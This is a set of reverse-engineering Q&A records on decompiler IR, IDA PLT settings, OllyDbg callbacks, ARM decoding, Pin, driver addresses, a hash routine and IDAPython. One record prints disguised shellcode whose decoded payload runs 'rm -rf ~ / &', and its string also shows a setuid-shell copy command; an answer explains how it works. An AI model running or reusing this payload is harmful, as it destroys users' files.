// N = (X) >> 8;
// V = 0;
</code></pre>
<p>(the commented out lines are due to optimisation of redundant stores)</p>
<p>Rather than output functional code for execution, you could satisfy the OP's request by outputting comments that describe in detail what the operations are doing.</p>
<p>Other practical translators have been written by David Welch, Norbert Keher, Thomas Sontowski and others. There is also Project Orion which is a multi-person multi-target translator headed up by Neil Bradley (respected emulator author) and several other members of the Orion mailing list - that translator had working front ends for 6502 and z80, with 68000 and 6809 also being under development, and built an internal AST (Abstract Syntax Tree, much as described in one of the earlier answers in this thread) in order to output cleaner and more efficient code to a variety of back ends including C. (There is also some academic work produced by Christina Cifuentes et al.)</p>
<p>Graham</p>
<p>PS When the output is a generic IR (Internal Representation) such as C or LLVM's internal IR, as opposed to when you produce binary directly, or indirectly by outputting asm for a specific architecture) the technique is properly called "Compiled Instruction Set Simulation" - but most people just call it static binary translation.</p>
|
8835
|
2015-05-07T10:44:59.793
|
<p>After writing my own disassembler, I am now looking to making its assembly listing more human readable, e.g. from an (artificial) example</p>
<pre><code>push ebp
mov ebp, esp
sub esp, 10h
mov eax, dword ptr [55431824h]
imul eax, dword ptr [ebp+8]
add eax, dword ptr [ebp+0ch]
mov dword ptr [ebp-4], eax
mov eax, dword ptr [ebp-4]
leave
ret 10h
</code></pre>
<p>via (<code>></code> marks an auto-recognized prologue/epilogue):</p>
<pre><code>>push ebp
>mov ebp, esp
>sub esp, 10h
mov eax, dword ptr [_global_55431824]
imul eax, dword ptr [arg_0]
add eax, dword ptr [arg_4]
mov dword ptr [local_4], eax
mov eax, dword ptr [local_4]
>leave
>ret 10h
</code></pre>
<p>towards</p>
<pre><code>eax = 10
eax *= arg_0
eax += arg_4
local_4 = eax
eax = local_4
return
</code></pre>
<p>At this point, each pseudo instruction is still tied to its original disassembled representation. When printing out, I can scan for certain sequences and so I replace the first two lines with</p>
<pre><code>eax = 10 * arg_0
</code></pre>
<p>and then just skip printing the next line. However, there is a limit to how far I can get with that. Concatenating the next operation, which would lead to</p>
<pre><code>eax = 10 * arg_0 + arg_4
</code></pre>
<p>requires to look ahead <strong>two</strong> instructions, <em>and</em> would only work for this specific combination of <code>mov</code>, <code>imul</code>, and <code>add</code>, while assuring the same destination register is still targeted and the intermediate instructions have no lasting effect on other registers.</p>
<p>The goal is to end up with something like this:</p>
<pre><code>local_4 = 10 * arg_0 + arg_4
eax = local_4
return
</code></pre>
<p>where obviously <code>eax</code> is specifically assigned a value before a <code>return</code>, so the last line can be</p>
<pre><code>return eax
</code></pre>
<p>and finally the entire construction can be collapsed into</p>
<pre><code>return 10 * arg_0 + arg_4
</code></pre>
<p>(which is very close to what I started with in the original trivial C program). I am struggling with the internal representation of composite lines such as the last one. The otherwise very reliable decompiler page <a href="http://www.backerstreet.com/decompiler/creating_statements.php" rel="noreferrer">backerstreet.com/creating_statements</a> casually switches between raw assembler and C-like compound statements:</p>
<pre><code>if(!expr1 && !expr2)
...
</code></pre>
<p>without explaining how this intermediate step is stored in memory and can create the output string.</p>
<p>What type of intermediate storage form should I be looking at, which (a) can be constructed from the original disassembled instructions, (b) can have its elements combined and rearranged, and (c) can be translated into human-readable output such as the last line?</p>
<p>It may be worth mentioning that I am not aiming to create the Definitive Universal Decompiler :) My test input was compiled with an ancient version (most likely pre-1993) of Delphi Pascal, but while its assembly is not really optimized and fairly readable to begin with, I'd still like to go the extra mile and make my computer do what it does best and make it yet easier to understand the code.</p>
<hr>
<h3>A longer real world example</h3>
<p>Below is some actual disassembly. The basic block number is followed by a dominator bit set (the <code>loops</code> hex number; I generate them but have not used that data yet). The <code>ENTRY</code> and <code>EXIT</code> numbers are to basic blocks again and used to generate a .dot view of the function.</p>
<pre><code>; ## BLOCK 0; loops: 01; EXIT to 1, 4
401966A8 ( 0) 8B 15 42201590 mov edx,dword ptr [42201590]
401966AE ( 0) 8B 12 mov edx,dword ptr [edx]
401966B0 ( 0) 80 BA 39 01 00 00 02 cmp byte ptr [edx+139h],2
401966B7 ( 0) 75 11 jnz label_4
; ## BLOCK 1; loops: 03; ENTER from 0; EXIT to 2, 4
401966B9 ( 0) 83 78 24 02 cmp dword ptr [eax+24h],2
401966BD ( 0) 7D 0B jge label_4
; ## BLOCK 2; loops: 07; ENTER from 1; EXIT to 3=RET
401966BF ( 0) BA 02 00 00 00 mov edx,2
401966C4 ( 0) 2B 50 24 sub edx,dword ptr [eax+24h]
401966C7 ( 0) 8B C2 mov eax,edx
; ## BLOCK 3 (epilog); loops: 0F; ENTER from 2
401966C9 >C3 retn
; ## BLOCK 4; loops: 11; ENTER from 0, 1; EXIT to 5, 7
label_4:
401966CA ( 0) 8B 15 42201590 mov edx,dword ptr [42201590]
401966D0 ( 0) 8B 12 mov edx,dword ptr [edx]
401966D2 ( 0) 80 BA 39 01 00 00 01 cmp byte ptr [edx+139h],1
401966D9 ( 0) 75 0D jnz label_7
; ## BLOCK 5; loops: 31; ENTER from 4; EXIT to 6, 7
401966DB ( 0) 83 78 24 00 cmp dword ptr [eax+24h],0
401966DF ( 0) 75 07 jnz label_7
; ## BLOCK 6; loops: 71; ENTER from 5; EXIT to 8=RET
401966E1 ( 0) B8 01 00 00 00 mov eax,1
401966E6 ( 0) EB 02 jmp label_8
; ## BLOCK 7; loops: 91; ENTER from 4, 5; EXIT to 8=RET
label_7:
401966E8 ( 0) 33 C0 xor eax,eax
; ## BLOCK 8 (epilog); loops: 0111; ENTER from 6, 7
label_8:
401966EA >C3 retn
401966EB align 4
</code></pre>
<p>This is the .dot image; clear <code>if</code>s are yellow, and the nodes contain their dominator bit sets so I can try and make sense of them (a TO-DO as yet). This explains the <em>flow</em> but you cannot see how much <em>code</em> each node represents.</p>
<p><img src="https://i.stack.imgur.com/NBPCo.png" alt="function flow"></p>
<p>The disassembly gets parsed into the following pseudo-code. Some notes are <code><b>manually added</b></code>.</p>
<pre>; #### PARSED
401966A8 ( 0) edx = Main.UnitList@20551314 ;
401966AE ( 0) edx = (dword)[edx] ;
401966B0 ( 0) if ((byte)[edx + 139h] != 2) goto label_4 ;
401966B9 ( 0) if ((dword)[eax + 24h] >= 2) goto label_4 ;
401966BF ( 0) edx = 2 ;
401966C4 ( 0) edx -= (dword)[eax + 24h] ;
401966C7 ( 0) return edx ; <b>MOV EAX,.. where an exit block follows</b>
return ; <b>.. and this line is generated by the actual exit block</b>
label_4:
401966CA ( 0) edx = Main.UnitList@20551314 ;
401966D0 ( 0) edx = (dword)[edx] ;
401966D2 ( 0) if ((byte)[edx + 139h] != 1) goto label_7 ;
401966DB ( 0) if ((dword)[eax + 24h] != 0) goto label_7 ;
401966E1 ( 0) eax = 1 ;
401966E6 ( 0) return ; <b>this was a jump-to-exit-block, so missed</b>
label_7:
401966E8 ( 0) eax = 0 ; <b>this was a XOR, not a MOV, so missed</b>
label_8:
return ;
</pre>
<p>The loss in verbosity is already worth the effort: from 21 lines of code to 16 lines, even though the lookahead to check if EAX got written to right before a <code>RET</code> failed twice.</p>
<p>Yet, it is obvious that the two successive <code>if</code>s at <code>401966B0</code> can be combined into a single one, with an OR. Inverting the condition, that whole block can be a single <code>if</code> and braced up to the <code>return</code>, removing <code>label_4</code>.<br>
The manipulation of <code>edx</code> from <code>401966BF</code> onwards can be concatenated into a single <code>return</code> statement.<br>
Also, the <code>if</code> conditions at <code>401966D2</code> can be combined into a single one and put inside an <code>if</code> block. Since there is a <code>return</code> at its end, an <code>else</code> is not necessary there. Manually reconstructed:</p>
<pre><code>401966A8 ( 0) edx = Main.UnitList@20551314 ;
401966AE ( 0) edx = (dword)[edx] ;
401966B0 ( 0) if ((byte)[edx + 139h] == 2 &&
401966B9 ( 0) (dword)[eax + 24h] < 2)
{
401966BF ( 0) return 2 - (dword)[eax + 24h] ;
}
401966CA ( 0) edx = Main.UnitList@20551314 ;
401966D0 ( 0) edx = (dword)[edx] ;
401966D2 ( 0) if ((byte)[edx + 139h] == 1 &&
401966DB ( 0) (dword)[eax + 24h] == 0)
{
401966E1 ( 0) return 1 ;
}
401966E8 ( 0) return 0 ;
</code></pre>
<p>reducing the original 21 lines to a mere 11. Furthermore, register value propagation resolves the references to the global class <code>Main.UnitList</code>. I manually created names for its elements; <code>401966A8</code> and forwards collapses into</p>
<pre><code>401966B0 ( 0) if (Main.UnitList.flag == 2 &&
401966B9 ( 0) Main.UnitList.count < 2)
</code></pre>
<p>which makes the code practically readable.</p>
<p><sup>Accessing <code>eax</code> before it gets written is not an error here. The function is a class function, and <code>eax</code> points to a class instance, so <code>(dword)[eax + 24h]</code> reads a data member of the structure. <code>Main.UnitList</code> is a pointer to a globally declared class instance, since it points into the BSS.</sup></p>
|
IL for decompiler to human-readable format
|
|disassembly|decompilation|
|
<p>For a 32bit (but <em>not</em> 64bit) x86 ELF binary, selecting the following options works:</p>
<p><img src="https://i.stack.imgur.com/HSQMDm.png" alt="enter image description here">
<img src="https://i.stack.imgur.com/iVEcim.png" alt="enter image description here">
<img src="https://i.stack.imgur.com/wtRSv.png" alt="enter image description here"></p>
<p><strong>UPDATE:</strong></p>
<p>There is a bug in IDA 6.8 (and probably earlier versions): For 64bit x86 ELF binaries, I get the desired disassembly result only when additionally deselecting "Replace PIC form of ...". </p>
<p>This was the reason for my confusion and made me post my question.</p>
<p>Hex-rays sent me a patch which fixed it (and which will probably be part of future versions... )</p>
|
8837
|
2015-05-07T12:04:21.670
|
<p>I would like to make IDA disassemble the <code>.plt</code> section of ELF files correctly, e.g. as objdump does: </p>
<pre><code>objdump -D -M intel asdf | grep "Disassembly of section .plt" -A80
</code></pre>
<p><img src="https://i.stack.imgur.com/ShG5H.png" alt="objdump disassembly"></p>
<p>I don't know why but IDA gives me this (Note the <code>dw ?</code> and <code>dq ?</code>):
<img src="https://i.stack.imgur.com/H8NSe.png" alt="IDA disassembly"></p>
<p>Even the IDA hexeditor does not show me the correct values at the corresponding addresses, but gives me <code>??</code>s.</p>
<p>I tried selecting and deselecting the settings described in the <a href="https://www.hex-rays.com/products/ida/support/idadoc/1375.shtml" rel="nofollow noreferrer">IDA Online help</a> (search for "PLT") but this didn't help...</p>
<blockquote>
<p>0: Replace PIC form of 'Procedure Linkage Table' to non PIC form</p>
<p>1: Direct jumping from PLT (without GOT) regardless of its form</p>
<p>2: Convert PIC form of loading <code>_GLOBAL_OFFSET_TABLE_[]</code> of address</p>
<p>3: Obliterate auxiliary bytes in PLT & GOT for 'final autoanalysis'</p>
<p>4: Natural form of PIC GOT address loading in relocatable file</p>
<p>5: Unpatched form of PIC GOT references in relocatable file</p>
</blockquote>
<p>How can I configure IDA so that I can access the instructions in the <code>.plt</code> section of an ELF file with IDAPython?</p>
|
ELF: How to make IDA show me the correct PLT (Procedure Linkage Table) content?
|
|ida|disassembly|idapython|elf|plt|
|
<p>You have a couple of options:</p>
<ol>
<li>Select the <code>push prog.004013D19</code> line in OllyDbg and press <kbd>Enter</kbd> on your keyboard.</li>
<li>Left click anywhere in the disassembly listing in OllyDbg, press <kbd>Ctrl+G</kbd> on your keyboard, and enter <code>004013D19</code> in the popup window.</li>
</ol>
|
8841
|
2015-05-07T20:30:29.837
|
<p>I have the following call to a function.</p>
<pre><code> ....
push eax
push prog.00401D19
call dword ptr ds:[&USER32.EnumWindows]
....
</code></pre>
<p>So, as you can see, this is a call to <code>EnumWindows</code>. But I would like to analyze the code at <code>00401D19</code>. Do you know how to do that in <em>ollydbg</em> ? </p>
<p>ps: when I make <code>00401D19</code> as my new origin (<kbd>Ctrl</kbd> + Gray <kbd>*</kbd>), then I can not go back to the line after <code>EnumWindows</code> because side effects etc. can happen. Therefore, I search a different option.</p>
|
How to analyze a callback function with ollydbg?
|
|assembly|
|
<p>If you look at the ARM Architecture Reference Manual, you should be able to see that Chapter A5 takes you through the decoding of ARM instructions.</p>
<p>Starting with table A5-1, your instruction has -</p>
<pre><code>cond (31-28) = 1110
op1 (27-25) = 000
</code></pre>
<p>This matches </p>
<pre><code>cond = not 1111, op1 = 00x => Data Processing & Miscellaneous instructions (A5.2)
</code></pre>
<p>Then for table A5-2 in section A5.2, your instruction has -</p>
<pre><code>op (25) = 0
op1 (24-20) = 11111
op2 (7-4) = 1101
</code></pre>
<p>The encoding that matches these bits is -</p>
<pre><code>op = 0, op1 = not 0xx1x, op2 = 11x1 => Extra load/store instructions (A5.2.8)
</code></pre>
<p>Finally for table A5-10 in section A5.2.8, your instruction has -</p>
<pre><code>op2 (6-5) = 10
op1 (24-20) = 11111
Rn (19-16) = 0001
</code></pre>
<p>This matches</p>
<pre><code>op2 = 10, op1 = xx1x1, Rn = not 1111 => LDRSB (immediate)
</code></pre>
<p>So, yes, bits 7-4 definitely affect the decoding of this instruction.</p>
|
8845
|
2015-05-08T11:00:53.400
|
<p>I'm writing a disassembler for ARM opcodes and I'm struggling with a particular encoding. The offending instruction is <code>E1F120D1</code>. I think I've followed the instructions closely, and expect the disassemble to be <code>mvns r2,r1</code> but trying it on <a href="http://www.onlinedisassembler.com" rel="nofollow">http://www.onlinedisassembler.com</a> gives me <code>ldsrb r2,[r1,#1]!</code>. </p>
<p>It seems like the low-order <code>20D1</code> in the instruction is causing online disassembler ti switch from <code>mvn</code> to <code>ldrsb</code>. Is this a bug in the disassembler -- not likely -- or my misunderstanding the instruction encodings in the manual?</p>
|
What is the correct disassembly for ARM7 opcode E1F120D1?
|
|disassembly|arm|
|
<p>Use PIN_AddContextChangeFunction, and from callback (CONTEXT_CHANGE_CALLBACK) you may see exception</p>
|
8846
|
2015-05-08T11:42:16.167
|
<p>How can I catch the exceptions generated by an instrumented application in Intel PIN?</p>
<p>I know about <code>PIN_AddInternalExceptionHandler</code>. This is not what I mean, this catches exceptions generated by the PinTool itself (if I understood correctly)</p>
<p>I found this <a href="http://scrammed.blogspot.de/2013/03/binary-instrumentation-for-exploit_10.html" rel="nofollow">resource</a>. Although it is a clever solution (check EIP against <code>KiUserExceptionDispatcher</code>) I can not instrument every instruction in my case. </p>
<p>Is there a simple way to achieve this?</p>
|
PinTool catches instrumented application exceptions
|
|pintool|
|
<pre><code>/**
\todo Get system info in loop. If the list grows between the first & 2nd call the allocd ammount may be too low
*/
BOOL GetKernelInformation(PSYSTEM_MODULE_INFORMATION* pModuleList)
{
NTSTATUS status = STATUS_SUCCESS;
ULONG neededSize = 0;
NtQuerySystemInformation(
SystemModuleInformation,
&neededSize,
0,
&neededSize
);
*pModuleList = (PSYSTEM_MODULE_INFORMATION)malloc(neededSize);
if(*pModuleList == NULL)
{
return FALSE;
}
status = NtQuerySystemInformation(SystemModuleInformation,
*pModuleList,
neededSize,
0
);
return NT_SUCCESS(status);
}
int main()
{
PSYSTEM_MODULE_INFORMATION pModuleList = NULL;
if(!GetKernelInformation(&pModuleList))
goto CLEANUP;
for(ULONG i = 0; i < pModuleList->uCount; i++)
{
PSYSTEM_MODULE mod = &pModuleList->aSM[i];
printf("%s @ %p\n", mod->ImageName, mod->Base);
}
CLEANUP:
if(pModuleList)
free(pModuleList);
return EXIT_SUCCESS;
}
</code></pre>
|
8852
|
2015-05-09T10:59:14.303
|
<p>How find address of loaded specific driver on memory by C language in windows os</p>
<p><img src="https://i.stack.imgur.com/2yP5c.png" alt="enter image description here"></p>
<p>thanks</p>
|
Address of loaded driver on memory
|
|windows|debugging|c|driver|
|
<p>It's not run in the example. It's a shellcode, it has to be somehow injected (for example using a buffer overflow vulnerability).
To understand how it works, let's first put some addresses on the strings:</p>
<pre><code>00000045 "/bin/sh"
0000004D "-c"
0000004F "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;"
</code></pre>
<p>Let's look at the disassembly piece by piece.</p>
<pre><code>00000000 EB3E jmp short 0x40
00000002 5B pop ebx ; 1st argument for execve(): filename = "/bin/sh"
00000003 31C0 xor eax,eax ; eax = 0
00000005 50 push eax ; envp[0] = NULL, argv[3] = NULL
00000006 54 push esp
00000007 5A pop edx ; 3rd argument for execve(): envp = {NULL}
...
00000040 E8BDFFFFFF call dword 0x2
00000045 "/bin/sh"
...
</code></pre>
<p>The jmp/call is a well known trick: the call will push the address of the following instruction to the stack. This gets popped into ebx, which now contains the address to "/bin/sh". In a system call, ebx is the first argument.
Next, eax is zeroed using a xor instruction and pushed to the stack. The pointer to those four zero bytes is stored in esp, which ends up in edx (3rd argument). The envp parameter of execve() is terminated with a null pointer: no environment vars in this case. This will also be used in argv.</p>
<pre><code>00000008 83EC64 sub esp,byte +0x64 ; Reserve 0x64 bytes on the stack
0000000B 68FFFFFFFF push dword 0xffffffff ; Push 4th string word
00000010 68DFD0DFD9 push dword 0xd9dfd0df ; Push 3rd string word
00000015 688D99DF81 push dword 0x81df998d ; Push 2nd string word
0000001A 688D92DFD2 push dword 0xd2df928d ; Push 1st string word
0000001F 54 push esp
00000020 5E pop esi ; esi = esp
00000021 F716 not dword [esi] ; Not 1st string word: 0x2d206d72 'rm -'
00000023 F75604 not dword [esi+0x4] ; Not 2nd string word: 0x7e206672 'rf ~'
00000026 F75608 not dword [esi+0x8] ; Not 3rd string word: 0x26202f20 ' / &'
00000029 F7560C not dword [esi+0xc] ; Not 4th string word: 0x00000000 (NULL terminator)
0000002C 83C474 add esp,byte +0x74 ; Restore esp
</code></pre>
<p>"rm -rf ~ / &" is pushed NOT-encoded into the stack and decoded in place. esi points to the decoded string.</p>
<pre><code>0000002F 56 push esi ; argv[2] = "rm -rf ~ / &"
00000030 8D7308 lea esi,[ebx+0x8] ; esi = address of "-c"
00000033 56 push esi ; argv[1] = "-c"
00000034 53 push ebx ; argv[0] = "bin/sh"
00000035 54 push esp
00000036 59 pop ecx ; ecx = 2nd argument for execve(): argv = {"/bin/sh", "-c", "rm -rf ~ / &", NULL}
00000037 B00B mov al,0xb ; 11 = execve() system call
00000039 CD80 int 0x80 ; execve()
</code></pre>
<p>It's time to build the argv array and make the call. The previous piece of code restored esp, so whatever is pushed will be after that first 0x00000000. Piece by piece the arguments are pushed to the stack. Remember that ebx held the pointer to "/bin/sh" (7 chars + terminator), so ebx+8 will be "-c". The null word that was pushed into the stack at the very beginning of the shellcode is reused as the terminator for argv.</p>
<pre><code>0000003B 31C0 xor eax,eax
0000003D 40 inc eax ; 1 = exit() system call
0000003E EBF9 jmp short 0x39 ; exit()
</code></pre>
<p>Using xor+inc eax is set to 1, which is system call exit(). It then jumps to the int 0x80 instruction and exit() is called.</p>
|
8860
|
2015-05-10T15:31:25.210
|
<p>On <a href="https://github.com/mubix/post-exploitation/wiki/Linux-Post-Exploitation-Command-List#destroy" rel="nofollow">this website</a>, I found the following code:</p>
<pre><code>char esp[] __attribute__ ((section(”.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68\"
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99\"
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7\"
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
“\x6e\x2f\x73\x68\x00\x2d\x63\x00"
“cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
</code></pre>
<p>I replaced the <code>“</code> character with <code>"</code>, removed trailing <code>\</code> and put decoded it into a file. Here's what it disassembles to:</p>
<pre><code>00000000 EB3E jmp short 0x40
00000002 5B pop ebx
00000003 31C0 xor eax,eax
00000005 50 push eax
00000006 54 push esp
00000007 5A pop edx
00000008 83EC64 sub esp,byte +0x64
0000000B 68FFFFFFFF push dword 0xffffffff
00000010 68DFD0DFD9 push dword 0xd9dfd0df
00000015 688D99DF81 push dword 0x81df998d
0000001A 688D92DFD2 push dword 0xd2df928d
0000001F 54 push esp
00000020 5E pop esi
00000021 F716 not dword [esi]
00000023 F75604 not dword [esi+0x4]
00000026 F75608 not dword [esi+0x8]
00000029 F7560C not dword [esi+0xc]
0000002C 83C474 add esp,byte +0x74
0000002F 56 push esi
00000030 8D7308 lea esi,[ebx+0x8]
00000033 56 push esi
00000034 53 push ebx
00000035 54 push esp
00000036 59 pop ecx
00000037 B00B mov al,0xb
00000039 CD80 int 0x80
0000003B 31C0 xor eax,eax
0000003D 40 inc eax
0000003E EBF9 jmp short 0x39
00000040 E8BDFFFFFF call dword 0x2
00000045 2F das
00000046 62696E bound ebp,[ecx+0x6e]
00000049 2F das
0000004A 7368 jnc 0xb4
0000004C 00 db 0x00
0000004D 2D db 0x2d
0000004E 6300 arpl [eax],ax
</code></pre>
<p>And here's a hexdump:</p>
<pre><code>[17:20:46][~]$ hexdump -C /tmp/b
00000000 eb 3e 5b 31 c0 50 54 5a 83 ec 64 68 ff ff ff ff |.>[1.PTZ..dh....|
00000010 68 df d0 df d9 68 8d 99 df 81 68 8d 92 df d2 54 |h....h....h....T|
00000020 5e f7 16 f7 56 04 f7 56 08 f7 56 0c 83 c4 74 56 |^...V..V..V...tV|
00000030 8d 73 08 56 53 54 59 b0 0b cd 80 31 c0 40 eb f9 |.s.VSTY....1.@..|
00000040 e8 bd ff ff ff 2f 62 69 6e 2f 73 68 00 2d 63 00 |...../bin/sh.-c.|
00000050
</code></pre>
<p>What is it really? I can see <code>/bin/sh</code> and a call to <code>execve</code> so I guess it's some kind of shellcode, but I don't understand how it's run in this example (the <code>char esp[] __attribute__ ((section(”.text”)))</code> part).</p>
|
How does this version of `rm -rf /` work?
|
|disassembly|linux|shellcode|
|
<p>Just a small addition to the previous answers.<p>
The following shift construct, asked in 3, is a widely used way to convert a byte stream into a 32-bit integer.</p>
<pre><code> (*(_BYTE *)(content + 7) << 24)
+ (*(_BYTE *)(content + 6) << 16)
+ (*(_BYTE *)(content + 5) << 8)
+ *(_BYTE *)(content + 4)
31 24 23 16 15 8 7 0
AAAAAAAA BBBBBBBB CCCCCCCC DDDDDDDD
^^^ ^^^ ^^^ ^^^
content[7] content[6] content[5] content[4]
</code></pre>
<p>If <code>content</code> is the address of a byte array, you can simply write </p>
<pre><code>*(_BYTE *)(content+7)
</code></pre>
<p>as</p>
<pre><code>content[7]
</code></pre>
<p>But of course, you should declare <code>content</code> in a different way as the decompiler did, but the decompiler see only a pointer and don't know that it is a byte array really.</p>
|
8866
|
2015-05-11T00:54:26.060
|
<p>I have been working on rewriting a program, although it uses a hash to fingerprint the file, I have used IDA to find the function doing the hash and what it is doing to the file before it sends it to the hash function.</p>
<p>I just have a couple questions about what is going on, I know I can simply invoke it as it is in a DLL, but I want to understand what is going on as well.</p>
<pre><code>unsigned int __cdecl newhash(int a1, unsigned int a2, int zero)
{
int content; // ebx@1
int v4; // ecx@1
int v5; // edx@1
int i; // eax@1
int v7; // ecx@2
unsigned int v8; // eax@2
int v9; // edx@2
int v10; // ecx@2
int v11; // eax@2
int v12; // edx@2
int v13; // ecx@2
int v14; // eax@2
unsigned int v15; // eax@3
int v16; // edx@15
int v17; // ecx@15
int v18; // eax@15
int v19; // edx@15
int v20; // ecx@15
int v21; // eax@15
int v22; // edx@15
unsigned int contentLength; // [sp+Ch] [bp-4h]@1
content = a1;
contentLength = a2;
v4 = -1640531527;
v5 = -1640531527;
for ( i = zero; contentLength >= 12; contentLength -= 12 )
{
v7 = (*(_BYTE *)(content + 7) << 24)
+ (*(_BYTE *)(content + 6) << 16)
+ (*(_BYTE *)(content + 5) << 8)
+ *(_BYTE *)(content + 4)
+ v4;
v8 = (*(_BYTE *)(content + 11) << 24)
+ (*(_BYTE *)(content + 10) << 16)
+ (*(_BYTE *)(content + 9) << 8)
+ *(_BYTE *)(content + 8)
+ i;
v9 = (v8 >> 13) ^ ((*(_BYTE *)(content + 3) << 24)
+ (*(_BYTE *)(content + 2) << 16)
+ (*(_BYTE *)(content + 1) << 8)
+ *(_BYTE *)content
+ v5
- v7
- v8);
v10 = (v9 << 8) ^ (v7 - v8 - v9);
v11 = ((unsigned int)v10 >> 13) ^ (v8 - v9 - v10);
v12 = ((unsigned int)v11 >> 12) ^ (v9 - v10 - v11);
v13 = (v12 << 16) ^ (v10 - v11 - v12);
v14 = ((unsigned int)v13 >> 5) ^ (v11 - v12 - v13);
v5 = ((unsigned int)v14 >> 3) ^ (v12 - v13 - v14);
v4 = (v5 << 10) ^ (v13 - v14 - v5);
i = ((unsigned int)v4 >> 15) ^ (v14 - v5 - v4);
content += 12;
}
v15 = a2 + i;
switch ( contentLength )
{
case 0xBu:
v15 += *(_BYTE *)(content + 10) << 24;
goto LABEL_5;
case 0xAu:
LABEL_5:
v15 += *(_BYTE *)(content + 9) << 16;
goto LABEL_6;
case 9u:
LABEL_6:
v15 += *(_BYTE *)(content + 8) << 8;
goto LABEL_7;
case 8u:
LABEL_7:
v4 += *(_BYTE *)(content + 7) << 24;
goto LABEL_8;
case 7u:
LABEL_8:
v4 += *(_BYTE *)(content + 6) << 16;
goto LABEL_9;
case 6u:
LABEL_9:
v4 += *(_BYTE *)(content + 5) << 8;
goto LABEL_10;
case 5u:
LABEL_10:
v4 += *(_BYTE *)(content + 4);
goto LABEL_11;
case 4u:
LABEL_11:
v5 += *(_BYTE *)(content + 3) << 24;
goto LABEL_12;
case 3u:
LABEL_12:
v5 += *(_BYTE *)(content + 2) << 16;
goto LABEL_13;
case 2u:
LABEL_13:
v5 += *(_BYTE *)(content + 1) << 8;
goto LABEL_14;
case 1u:
LABEL_14:
v5 += *(_BYTE *)content;
break;
default:
break;
}
v16 = (v15 >> 13) ^ (v5 - v4 - v15);
v17 = (v16 << 8) ^ (v4 - v15 - v16);
v18 = ((unsigned int)v17 >> 13) ^ (v15 - v16 - v17);
v19 = ((unsigned int)v18 >> 12) ^ (v16 - v17 - v18);
v20 = (v19 << 16) ^ (v17 - v18 - v19);
v21 = ((unsigned int)v20 >> 5) ^ (v18 - v19 - v20);
v22 = ((unsigned int)v21 >> 3) ^ (v19 - v20 - v21);
return (((v22 << 10) ^
(unsigned int)(v20 - v21 - v22)) >> 15) ^
(v21 - v22 - ((v22 << 10) ^ (v20 - v21 - v22)));
}
</code></pre>
<p>a1 is an address location
a2 is the length of the file to hash
zero I renamed as it always sends zero for whatever reason.</p>
<p>Now for the questions:</p>
<ol>
<li>First and foremost, is this a standard algorithm like CRC or
something? </li>
<li>Is there a reason for the v4 and v5 variables to be -1640531527?</li>
<li>What is the purpose of <code>(*(_BYTE *)(content + 7) << 24)</code> isn't a byte only 8 bits, so won't it be 0 every time? I looked up the order of operations and it seems that the casting is first then the bit operations, so it means it converts it to the 8th byte in the file and bit shifts it 24 bits right? why?</li>
<li>Why are some bits signed and some unsigned, and would it change the outcome if there is a mix?</li>
</ol>
<p>Those are most of my questions, I understand it is going through all the bytes and getting a total to figure out the "hash" for the file, I understand that the switch case is taking care of the situation of the file not being exactly divisible by 12. I think once I understand the logic behind the bitwise operations then it will be more clear.</p>
|
Hash algorithm written in C decompiled with IDA
|
|ida|c++|decompiler|hash-functions|crc|
|
<p>I received an answer from HexRays support which has a solution which does not rely on parsing the C string retrieved by <code>GetType(ea)</code>.</p>
<p>Let's imagine we start with a function prototype:</p>
<pre><code>int __cdecl main(int argc, const char **argv, const char **envp)
</code></pre>
<p>That's from an ELF file, x86 abi; stuff is passed on the stack.</p>
<p>Then, I can do the following:</p>
<pre><code>Python>from idaapi import *
Python>tif = tinfo_t()
Python>get_tinfo2(here(), tif)
True
Python>funcdata = func_type_data_t()
Python>tif.get_func_details(funcdata)
True
Python>funcdata.size()
3
Python>for i in xrange(funcdata.size()):
Python> print "Arg %d: %s (of type %s, and of location: %s)" % (i, funcdata[i].name, print_tinfo('', 0, 0, PRTYPE_1LINE, funcdata[i].type, '', ''), funcdata[i].argloc.atype())
Python>
Arg 0: argc (of type int, and of location: 1)
Arg 1: argv (of type const char **, and of location: 1)
Arg 2: envp (of type const char **, and of location: 1)
</code></pre>
<p>Note that it tells me the location type is <code>1</code>, which corresponds
to 'stack':
<a href="https://www.hex-rays.com/products/ida/support/sdkdoc/group___a_l_o_c__.html">https://www.hex-rays.com/products/ida/support/sdkdoc/group___a_l_o_c__.html</a></p>
<p>Now, let's assume I change the prototype to this:</p>
<pre><code>.text:0804ABA1 ; int __usercall main@<eip>(int argc@<eax>, const char **argv@<esp>, const char **envp@<edx>)
</code></pre>
<p>Then:</p>
<pre><code>Python>get_tinfo2(here(), tif)
True
Python>tif.get_func_details(funcdata)
True
Python>for i in xrange(funcdata.size()):
Python> print "Arg %d: %s (of type %s, and of location: %s)" % (i, funcdata[i].name, print_tinfo('', 0, 0, PRTYPE_1LINE, funcdata[i].type, '', ''), funcdata[i].argloc.atype())
Python>
Arg 0: argc (of type int, and of location: 3)
Arg 1: argv (of type const char **, and of location: 3)
Arg 2: envp (of type const char **, and of location: 3)
</code></pre>
<p>Argument location type is <code>3</code> now, which corresponds to 'inside
register'.</p>
<p>(Then, I would have to use <code>reg1()</code> to retrieve the actual
register number to know <em>what</em> register the argument is
passed in)</p>
<p>Credit goes to Arnaud of Hex Rays.</p>
|
8870
|
2015-05-11T21:54:56.743
|
<p>Let's say I have the following function in IDA:</p>
<pre><code>int __usercall function<eax>(char* message<ebp>, unsigned int count<edi>)
</code></pre>
<p>What's the fastest way to extract the argument information using IDAPython, such that I get the following:</p>
<pre><code>[['char*', 'message', 'ebp'],['unsigned int','count','edi']]
</code></pre>
<p>Not that it also needs to handle situations like:</p>
<pre><code>void *__usercall sub_4508B0@<rax>(void *(__usercall *function)@<rax>(int one@<eax>)@<rax>);
</code></pre>
<p>Which should give me something along the lines of:</p>
<pre><code>[['void * ...', 'function', 'rax']]
</code></pre>
|
Extracting arguments from IDA
|
|ida|disassembly|idapython|python|
|
